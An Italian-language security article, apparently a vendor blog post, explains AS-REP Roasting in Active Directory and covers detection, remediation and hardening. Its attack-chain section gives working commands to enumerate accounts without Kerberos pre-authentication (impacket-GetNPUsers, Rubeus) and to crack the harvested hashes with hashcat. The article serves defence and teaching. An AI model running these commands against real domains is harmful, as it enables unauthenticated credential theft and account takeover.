Cos'e l'AS-REP Roasting?
L'AS-REP Roasting e un attacco Active Directory che prende di mira gli account con la pre-autenticazione Kerberos disabilitata. Qualsiasi attaccante, anche senza credenziali, puo richiedere una risposta AS-REP per questi account e ricevere un blob cifrato con il loro hash della password, pronto per essere craccato offline.
A differenza del Kerberoasting, l'AS-REP Roasting non richiede alcuna credenziale se l'attaccante ha accesso di rete al dominio. E uno degli attacchi a minore attrito in Active Directory.
La vulnerabilita deriva da un'opzione Kerberos chiamata DONT_REQUIRE_PREAUTH. Quando e abilitata, il KDC salta il passaggio di pre-autenticazione ed emette direttamente una AS-REP contenente dati cifrati con l'hash dell'account.
⚠️ Differenza chiave dal Kerberoasting: Il Kerberoasting richiede un account di dominio valido. L'AS-REP Roasting puo essere eseguito senza alcuna credenziale, dall'esterno del dominio.
Come Funziona
Nel Kerberos standard, prima di emettere un TGT, il client deve dimostrare di conoscere la password inviando un timestamp cifrato. Questo impedisce la raccolta di hash offline.
Quando DONT_REQUIRE_PREAUTH e impostato, questo passaggio viene saltato. Il KDC risponde a qualsiasi AS-REQ per quell'account con una AS-REP contenente una chiave di sessione cifrata con l'hash NTLM dell'account, senza alcuna prova di identita.
La Catena di Attacco
Fase 1 - Enumerare gli Account Vulnerabili
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth, PasswordLastSet |
Select-Object SamAccountName, PasswordLastSet
# Senza credenziali
impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass -dc-ip 10.10.0.1
# Con account di dominio
impacket-GetNPUsers corp.local/user:password -request -dc-ip 10.10.0.1
Fase 2 - Raccogliere gli Hash AS-REP
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt
Fase 3 - Craccare Offline
# Modalita 18200 per hash AS-REP
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --rules-file best64.rule
Fase 4 - Acquisizione dell'Account
Un hash AS-REP craccato fornisce la password in chiaro dell'account. L'attaccante puo autenticarsi come quell'utente e usare l'account come pivot per altri attacchi.
Rilevamento
Event ID di Windows
| Event ID | Fonte | Cosa osservare |
|---|---|---|
| 4768 | DC - Security | AS-REQ con Pre-Authentication Type: 0 — pre-autenticazione non fornita |
| 4768 | DC - Security | Molteplici AS-REQ per account diversi dallo stesso IP |
💡 Suggerimento: Un singolo evento 4768 con tipo pre-auth 0 per un account che normalmente lo richiede e un avviso ad alta affidabilita.
Query SIEM (Elastic KQL)
event.code: "4768" AND
winlog.event_data.PreAuthType: "0" AND
winlog.event_data.Status: "0x0"
Rimedio
💡 Azione Rapida: Riabilita la pre-autenticazione su tutti gli account che l'hanno disabilitata. E una correzione di una riga per account, senza impatto per l'utente nella maggior parte dei casi.
Riabilitare la Pre-Autenticazione
# Account singolo
Set-ADAccountControl -Identity vulnerable_user -DoesNotRequirePreAuth $false
# Correzione in blocco
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | ForEach-Object {
Set-ADAccountControl -Identity $_ -DoesNotRequirePreAuth $false
Write-Host "Corretto: $($_.SamAccountName)"
}
Audit e Hardening
- Identificare tutti gli account vulnerabili:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties PasswordLastSet, Description |
Select-Object SamAccountName, PasswordLastSet, Description |
Export-Csv account_vulnerabili_asrep.csv -NoTypeInformation
- Ruotare le password degli account colpiti — anche dopo aver riabilitato la pre-autenticazione.
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Set-ADUser -ChangePasswordAtLogon $true
- Limitare l'accesso LDAP anonimo per impedire l'enumerazione non autenticata del flag.
Come EtcSec Rileva Questo
EtcSec segnala gli account con pre-autenticazione Kerberos disabilitata in ogni audit AD.
Il rilevamento ASREP_ROASTING_RISK identifica tutti gli account con DONT_REQUIRE_PREAUTH impostato, indipendentemente dal fatto che siano gia stati attaccati.
Controlli correlati:
- PASSWORD_NEVER_EXPIRES - account con pre-autenticazione disabilitata e password che non scadono mai sono una superficie di attacco permanente
- PASSWORD_POLICY_WEAK - una policy debole rende il cracking piu veloce e probabile
- WEAK_KERBEROS_POLICY - impostazioni permissive ampliano la finestra di sfruttamento
ℹ️ Nota: EtcSec verifica automaticamente queste vulnerabilita in ogni audit AD. Esegui un audit gratuito per identificare gli account esposti all'AS-REP Roasting nel tuo ambiente.
